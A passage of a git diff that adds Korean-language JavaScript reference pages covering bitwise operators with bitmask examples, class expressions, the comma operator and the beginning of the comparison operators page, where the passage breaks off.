+<p>Performs the XOR operation on each pair of bits. <code>a</code> XOR <code>b</code> yields 1 if <code>a</code> and <code>b</code> are different. The truth table for the XOR operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a XOR b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>Bitwise XORing any number x with 0 yields x.</p>
+
+<p>Bitwise XORing any number x with -1 yields ~x.</p>
+
+<h3 id="비트_NOT"><a id="Bitwise_NOT" name="Bitwise_NOT">~ (비트 NOT)</a></h3>
+
+<p>Performs the NOT operator on each bit. NOT <code>a</code> yields the inverted value (a.k.a. one's complement) of <code>a</code>. The truth table for the NOT operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">NOT a</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p>Bitwise NOTing any number x yields -(x + 1). For example, ~5 yields -6.</p>
+
+<h2 id="비트_시프트_연산자">비트 시프트 연산자</h2>
+
+<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p>
+
+<p>Shift operators convert their operands to 32-bit integers in big-endian order and return a result of the same type as the left operand. The right operand should be less than 32, but if not only the low five bits will be used.</p>
+
+<h3 id="&lt;&lt;_Left_shift"><a id="Left_shift" name="Left_shift">&lt;&lt; (Left shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</p>
+
+<p>For example, <code>9 &lt;&lt; 2</code> yields 36:</p>
+
+<pre> 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &lt;&lt; 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>Bitwise shifting any number <strong>x</strong> to the left by <strong>y</strong> bits yields <strong>x * 2^y</strong>.</p>
+
+<h3 id=">>_Sign-propagating_right_shift"><a id="Right_shift" name="Right_shift">&gt;&gt; (Sign-propagating right shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left. Since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. Hence the name "sign-propagating".</p>
+
+<p>For example, <code>9 &gt;&gt; 2</code> yields 2:</p>
+
+<pre> 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Likewise, <code>-9 &gt;&gt; 2</code> yields -3, because the sign is preserved:</p>
+
+<pre> -9 (base 10): 11111111111111111111111111110111 (base 2)
+ --------------------------------
+-9 &gt;&gt; 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_Zero-fill_right_shift"><a id="Unsigned_right_shift" name="Unsigned_right_shift">&gt;&gt;&gt; (Zero-fill right shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left. The sign bit becomes 0, so the result is always non-negative.</p>
+
+<p>For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result. For example, <code>9 &gt;&gt;&gt; 2</code> yields 2, the same as <code>9 &gt;&gt; 2</code>:</p>
+
+<pre> 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &gt;&gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>However, this is not the case for negative numbers. For example, <code>-9 &gt;&gt;&gt; 2</code> yields 1073741821, which is different than <code>-9 &gt;&gt; 2</code> (which yields -3):</p>
+
+<pre> -9 (base 10): 11111111111111111111111111110111 (base 2)
+ --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Flags_and_bitmasks">Flags and bitmasks</h3>
+
+<p>The bitwise logical operators are often used to create, manipulate, and read sequences of <em>flags</em>, which are like binary variables. Variables could be used instead of these sequences, but binary flags take much less memory (by a factor of 32).</p>
+
+<p>Suppose there are 4 flags:</p>
+
+<ul>
+ <li>flag A: we have an ant problem</li>
+ <li>flag B: we own a bat</li>
+ <li>flag C: we own a cat</li>
+ <li>flag D: we own a duck</li>
+</ul>
+
+<p>These flags are represented by a sequence of bits: DCBA. When a flag is <em>set</em>, it has a value of 1. When a flag is <em>cleared</em>, it has a value of 0. Suppose a variable <code>flags</code> has the binary value 0101:</p>
+
+<pre class="brush: js">var flags = 5; // binary 0101
+</pre>
+
+<p>This value indicates:</p>
+
+<ul>
+ <li>flag A is true (we have an ant problem);</li>
+ <li>flag B is false (we don't own a bat);</li>
+ <li>flag C is true (we own a cat);</li>
+ <li>flag D is false (we don't own a duck);</li>
+</ul>
+
+<p>Since bitwise operators are 32-bit, 0101 is actually 00000000000000000000000000000101, but the preceding zeroes can be neglected since they contain no meaningful information.</p>
+
+<p>A <em>bitmask</em> is a sequence of bits that can manipulate and/or read flags. Typically, a "primitive" bitmask for each flag is defined:</p>
+
+<pre class="brush: js">var FLAG_A = 1; // 0001
+var FLAG_B = 2; // 0010
+var FLAG_C = 4; // 0100
+var FLAG_D = 8; // 1000
+</pre>
+
+<p>New bitmasks can be created by using the bitwise logical operators on these primitive bitmasks. For example, the bitmask 1011 can be created by ORing FLAG_A, FLAG_B, and FLAG_D:</p>
+
+<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeros (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p>
+
+<pre class="brush: js">// if we own a cat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+ // do stuff
+}
+</pre>
+
+<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p>
+
+<pre class="brush: js">// if we own a bat or we own a cat
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) { // (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+ // do stuff
+}
+</pre>
+
+<pre class="brush: js">// if we own a bat or cat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+ // do stuff
+}
+</pre>
+
+<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1100 can be used to set flags C and D:</p>
+
+<pre class="brush: js">// yes, we own a cat and a duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask; // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p>
+
+<pre class="brush: js">// no, we don't have an ant problem or own a cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask; // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>The mask could also have been created with <code>~FLAG_A &amp; ~FLAG_C</code> (De Morgan's law):</p>
+
+<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask; // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p>
+
+<pre class="brush: js">// if we didn't have a bat, we have one now, and if we did have one, bye-bye bat
+// same thing for cats
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask; // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finally, the flags can all be flipped with the NOT operator:</p>
+
+<pre class="brush: js">// entering parallel universe...
+flags = ~flags; // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Conversion_snippets">Conversion snippets</h3>
+
+<p>Convert a binary <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code> to a decimal <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code>:</p>
+
+<pre class="brush: js">var sBinString = "1011";
+var nMyNumber = parseInt(sBinString, 2);
+alert(nMyNumber); // prints 11, i.e. 1011
+</pre>
+
+<p>Convert a decimal <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code> to a binary <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code>:</p>
+
+<pre class="brush: js">var nMyNumber = 11;
+var sBinString = nMyNumber.toString(2);
+alert(sBinString); // prints 1011, i.e. 11
+</pre>
+
+<h3 id="Automate_Mask_Creation">Automate Mask Creation</h3>
+
+<p>If you have to create many masks from some <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">boolean</a></code> values, you can automatize the process:</p>
+
+<pre class="brush: js">function createMask () {
+ var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+ for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+ return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// etc.
+
+alert(mask1); // prints 11, i.e.: 1011
+</pre>
+
+<h3 id="Reverse_algorithm_an_array_of_booleans_from_a_mask">Reverse algorithm: an array of booleans from a mask</h3>
+
+<p>If you want to create an <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">array</a></code> of <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">booleans</a></code> from a mask you can use this code:</p>
+
+<pre class="brush: js">function arrayFromMask (nMask) {
+ // nMask must be between -2147483648 and 2147483647
+ if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) { throw new TypeError("arrayFromMask - out of range"); }
+ for (var nShifted = nMask, aFromMask = []; nShifted; aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+ return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert("[" + array1.join(", ") + "]");
+// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011
+</pre>
+
+<p>You can test both algorithms at the same time…</p>
+
+<pre class="brush: js">var nTest = 19; // our custom mask
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+</pre>
+
+<p>For didactic purpose only (since there is the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code> method), we show how it is possible to modify the <code>arrayFromMask</code> algorithm in order to create a <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code> containing the binary representation of a <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code>, rather than an <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">array</a></code> of <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">booleans</a></code>:</p>
+
+<pre class="brush: js">function createBinaryString (nMask) {
+ // nMask must be between -2147483648 and 2147483647
+ for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag &lt; 32; nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+ return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// prints 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bitwise-not-operator', 'Bitwise NOT Operator')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-binary-bitwise-operators', 'Binary Bitwise Operators')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators', 'Bitwise Shift Operators')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.bitwise")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/%EB%85%BC%EB%A6%AC_%EC%97%B0%EC%82%B0%EC%9E%90(Logical_Operators)">논리 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/class/index.html b/files/ko/web/javascript/reference/operators/class/index.html
new file mode 100644
index 0000000000..d15b532fbc
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/class/index.html
@@ -0,0 +1,100 @@
+---
+title: class 식
+slug: Web/JavaScript/Reference/Operators/class
+tags:
+ - ECMAScript 2015
+ - Expression
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/class
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>class 표현식</strong>은 ECMAScript 2015 (ES6)에서 클래스를 정의하는 한 방법입니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/function">function 식</a>과 비슷하게, class 식은 기명(named) 또는 익명(unnamed)일 수 있습니다. 기명인 경우, 클래스명은 클래스 본체(body)에서만 지역(local)입니다. JavaScript 클래스는 프로토타입(원형) 기반 상속을 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-classexpression.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var MyClass = class <em>[className]</em> [extends] {
+  // class body
+};</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>class 식은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/class">class 문</a>과 구문이 비슷합니다. 그러나, class 식의 경우 클래스명("binding identifier")을 생략할 수 있는데 class 문으로는 할 수 없습니다.</p>
+
+<p>class 문과 같이, class 식의 본체는 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서 실행됩니다.</p>
+
+
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_class_식">간단한 class 식</h3>
+
+<p>이게 바로 변수 "Foo"를 사용하여 참조할 수 있는 간단한 익명 class 식입니다.</p>
+
+<pre class="brush: js notranslate">var Foo = class {
+ constructor() {}
+ bar() {
+ return "Hello World!";
+ }
+};
+
+var instance = new Foo();
+instance.bar(); // "Hello World!"
+Foo.name; // ""
+</pre>
+
+<h3 id="Named_class_식">Named  class 식</h3>
+
+<p>당신이 클래스 몸통 내에서 현재 클래스를 참조하고 싶다면, 유명 class 식을 만들 수 있습니다. 이 이름은 오직 class 식 자체 범위에서만 볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var Foo = class NamedFoo {
+ constructor() {}
+ whoIsThere() {
+ return NamedFoo.name;
+ }
+}
+var bar = new Foo();
+bar.whoIsThere(); // "NamedFoo"
+NamedFoo.name; // ReferenceError: NamedFoo가 정의되지 않음
+Foo.name; // "NamedFoo"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.class")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/function"><code>function</code> 식</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> 문</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/comma_operator/index.html b/files/ko/web/javascript/reference/operators/comma_operator/index.html
new file mode 100644
index 0000000000..d2c4caae0e
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/comma_operator/index.html
@@ -0,0 +1,91 @@
+---
+title: 쉼표 연산자
+slug: Web/JavaScript/Reference/Operators/Comma_Operator
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>쉼표 연산자</strong>는 각각의 피연산자를 왼쪽에서 오른쪽 순서로 평가하고, 마지막 연산자의 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>아무 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>단일 표현식을 요구하는 곳에 복수의 표현식을 사용하고 싶을 때 쉼표 연산자를 사용할 수 있습니다. 가장 흔히 사용되는 곳은 <code>for</code> 반복문에 다수의 매개변수를 제공할 때입니다.</p>
+
+<p>쉼표 연산자는 배열, 객체, 함수의 매개변수와 호출 인수에서 사용하는 쉼표와는 전혀 다릅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>a</code>를 한 행에 10개의 요소를 가진 2차원 배열이라고 가정할 때, 아래 예제는 쉼표 연산자를 사용해 한 번에 <code>i</code>는 증가시키고 <code>j</code>는 감소시킵니다.</p>
+
+<p>다음 코드는 2차원 배열의 대각선에 위치하는 요소의 값을 출력합니다.</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+ console.log("a[" + i + "][" + j + "] = " + a[i][j]);
+</pre>
+
+<p>쉼표 연산자를 할당에 사용하면, 할당 연산이 표현식에 포함되지 않아 예상한 결과와는 다소 다를 수 있습니다. 다음 예제에서, <code>a</code>는 <code>b = 3</code>의 값(3)을 할당받지만, <code>c = 4</code> 표현식 역시 평가되어 콘솔에 기록됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위와 결합성</a> 때문입니다.</p>
+
+<pre class="brush: js">var a, b, c;
+
+a = b = 3, c = 4; // 콘솔에는 4를 반환
+console.log(a); // 3 (제일 왼쪽)
+
+var x, y, z;
+
+x = (y = 5, z = 6); // 콘솔에는 6을 반환
+console.log(x); // 6 (제일 오른쪽)
+</pre>
+
+<h3 id="연산_후_반환">연산 후 반환</h3>
+
+<p>쉼표 연산자를 사용하는 다른 방법은 값을 반환하기 전에 연산을 수행하는 것입니다. 쉼표 연산자는 마지막 표현식의 평가 결과만 반환하지만, 이전 피연산자에 대해서도 평가는 수행하므로 다음과 같은 코드를 작성할 수 있습니다.</p>
+
+<pre class="brush: js">function myFunc () {
+ var x = 0;
+
+ return (x += 1, x); // ++x 와 같은 효과
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.comma")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> 반복문</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/comparison_operators/index.html b/files/ko/web/javascript/reference/operators/comparison_operators/index.html
new file mode 100644
index 0000000000..ecfd46d6e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/comparison_operators/index.html
@@ -0,0 +1,215 @@
+---
+title: 비교 연산자
+slug: Web/JavaScript/Reference/Operators/Comparison_Operators
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript는 엄격한 비교와 형변환 비교 두 가지의 비교 방법을 모두 가지고 있습니다. 엄격(일치) 비교(<code>===</code>)는 두 피연산자가 같은 자료형에, 그 내용도 일치해야만 참입니다. 추상(동등) 비교(<code>==</code>)는 비교 전에 두 피연산자를 동일한 자료형으로 변환합니다. 관계 추상 비교(<code>&lt;=</code>)의 경우 {{glossary("primitive", "원시값")}}으로 바꾸고, 같은 자료형으로 다시 바꾼후 비교를 수행합니다.</p>
+
+<p>문자열의 경우 {{glossary("unicode", "유니코드")}} 값을 사용한 사전순으로 비교합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-comparisonoperators.html")}}</div>
+
+
+
+<p>비교 연산의 특징은 다음과 같습니다.</p>
+
+<ul>
+ <li>두 문자열이 같은 문자 시퀀스로 구성되고, 같은 길이를 가지며, 같은 위치에 같은 문자가 존재하면 일치합니다.</li>
+ <li>두 숫자는 숫자로서 같은 값(같은 숫자 값)이면 일치합니다. {{jsxref("NaN")}}은 자기 자신을 포함한 그 무엇과도 동등하지 않습니다. <code>+0</code>과 <code>-0</code>은 서로 일치합니다.</li>
+ <li>두 불리언은 둘 다 <code>true</code>거나 <code>false</code>이면 일치합니다.</li>
+ <li>서로 다른 두 객체는 절대 일치하지도, 동등하지도 않습니다.</li>
+ <li>객체를 비교하는 표현식은 두 피연산자가 동일한 객체를 참조하는 경우에만 참입니다.</li>
+ <li>{{jsxref("null")}}과 {{jsxref("undefined")}}는 자기 자신과 일치하며, 서로 동등합니다.</li>
+</ul>
+
+<h2 id="동치_연산자">동치 연산자</h2>
+
+<h3 id="동등_연산자"><a name="Equality">동등 연산자 (==)</a></h3>
+
+<p>동등 연산자는 두 피연산자의 자료형이 같지 않은 경우 같아지도록 변환한 후, 엄격 비교를 수행합니다. 피연산자가 모두 객체라면, JavaScript는 내부 참조를 보고, 둘 다 메모리의 같은 객체를 바라보고 있는지 판별합니다.</p>
+
+<h4 id="구문">구문</h4>
+
+<pre class="syntaxbox">x == y
+</pre>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js"> 1 == 1 // true
+ "1" == 1 // true
+ 1 == '1' // true
+ 0 == false // true
+ 0 == null // false
+
+ 0 == undefined // false
+null == undefined // true
+</pre>
+
+<h3 id="부등_연산자_!"><a name="Inequality">부등 연산자 (!=)</a></h3>
+
+<p>부등 연산자는 두 피연산자가 같지 않은 경우 참을 반환합니다. 피연산자의 자료형이 일치하지 않는 경우 적절한 자료형으로의 변환을 시도합니다. 피연산자가 모두 객체라면, JavaScript는 내부 참조를 보고, 서로 메모리의 다른 객체를 바라보고 있는지 판별합니다.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<pre class="syntaxbox">x != y</pre>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: js">1 != 2 // true
+1 != "1" // false
+1 != '1' // false
+1 != true // false
+0 != false // false
+</pre>
+
+<h3 id="일치_연산자"><a name="Identity">일치 연산자 (===)</a></h3>
+
+<p>일치 연산자는 자료형 변환 없이 두 연산자가 엄격히 같은지 판별합니다.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<pre class="syntaxbox">x === y</pre>
+
+<h4 id="예제_3">예제</h4>
+
+<pre class="brush: js ">3 === 3 // true
+3 === '3' // false</pre>
+
+<h3 id="불일치_연산자_!"><a name="Nonidentity">불일치 연산자 (!==)</a></h3>
+
+<p>일치 연산자는 두 연산자가 같지 않거나, 같은 자료형이 아닐 때 참을 반환합니다.</p>
+
+<h4 id="구문_4">구문</h4>
+
+<pre class="syntaxbox">x !== y</pre>
+
+<h4 id="예제_4">예제</h4>
+
+<pre class="brush: js">3 !== '3' // true
+4 !== 3 // true
+</pre>
+
+<h2 id="관계_연산자">관계 연산자</h2>
+
+<p>이 항목의 모든 연산자는 비교 전에 피연산자를 {{glossary("primitive", "원시값")}}으로 <a href="/ko/docs/Glossary/Type_coercion">변환</a>합니다. 둘 다 문자열이 되는 경우 사전순으로 비교하고, 그렇지 않으면 숫자로 변환합니다. {{jsxref("NaN")}}과의 비교는 항상 <code>false</code>를 반환합니다.</p>
+
+<h3 id="초과_연산자_>"><a name="Greater_than_operator">초과 연산자 (&gt;)</a></h3>
+
+<p>초과 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 큰 경우 참을 반환합니다.</p>
+
+<h4 id="구문_5">구문</h4>
+
+<pre class="syntaxbox">x &gt; y</pre>
+
+<h4 id="예제_5">예제</h4>
+
+<pre class="brush: js">4 &gt; 3 // true
+</pre>
+
+<h3 id="이상_연산자_>"><a name="Greater_than_or_equal_operator">이상 연산자 (&gt;=)</a></h3>
+
+<p>이상 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 크거나 같으면 참을 반환합니다.</p>
+
+<h4 id="구문_6">구문</h4>
+
+<pre class="syntaxbox"> x &gt;= y</pre>
+
+<h4 id="예제_6">예제</h4>
+
+<pre class="brush: js">4 &gt;= 3 // true
+3 &gt;= 3 // true
+</pre>
+
+<h3 id="미만_연산자_&lt;"><a name="Less_than_operator">미만 연산자 (&lt;)</a></h3>
+
+<p>미만 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 작은 경우 참을 반환합니다.</p>
+
+<h4 id="구문_7">구문</h4>
+
+<pre class="syntaxbox">x &lt; y</pre>
+
+<h4 id="예제_7">예제</h4>
+
+<pre class="brush: js">3 &lt; 4 // true</pre>
+
+<h3 id="이하_연산자_&lt;"><a id="Less_than_or_equal_operator" name="Less_than_or_equal_operator">이하 연산자 (&lt;=)</a></h3>
+
+<p>이하 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 작거나 같으면 참을 반환합니다.</p>
+
+<h4 id="구문_8">구문</h4>
+
+<pre class="syntaxbox"> x &lt;= y</pre>
+
+<h4 id="예제_8">예제</h4>
+
+<pre class="brush: js">3 &lt;= 4 // true
+</pre>
+
+<h2 id="동치_연산자_사용하기">동치 연산자 사용하기</h2>
+
+<p>표준 동치, 동등 연산자(<code>==</code>, <code>!=</code>)는 두 피연산자를 비교하기 위해 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">추상 동치 비교 알고리즘</a>(Abstract Equlity Comparison Algorithm)을 사용합니다. 피연산자 간 자료형이 일치하지 않으면 우선 변환을 시도합니다. 예를 들어 표현식 <code>5 == '5'</code>에서는 비교 전 오른쪽 문자열을 {{jsxref("Number")}}로 변환합니다.</p>
+
+<p>엄격 동치, 일치 연산자(<code>===</code>, <code>!==</code>)는 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6">엄격 동치 비교 알고리즘</a>(Strict Equality Comparison Algorithm)을 사용하며, 같은 자료형을 가진 피연산자를 비교하기 위해 사용합니다. 피연산자 간 자료형이 일치하지 않으면 항상 <code>false</code>이므로, <code>5 !== '5'</code>입니다.</p>
+
+<p>피연산자의 값은 물론 특정 자료형이어야 하는 경우 일치 연산자를 사용하세요. 그렇지 않은 경우 형변환을 자동으로 해주는 동등 연산자를 사용할 수도 있습니다.</p>
+
+<p>비교 과정에 자료형 변환이 필요한 경우 JavaScript는 {{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}}, {{jsxref("Object")}} 자료형을 다음과 같이 변환합니다.</p>
+
+<ul>
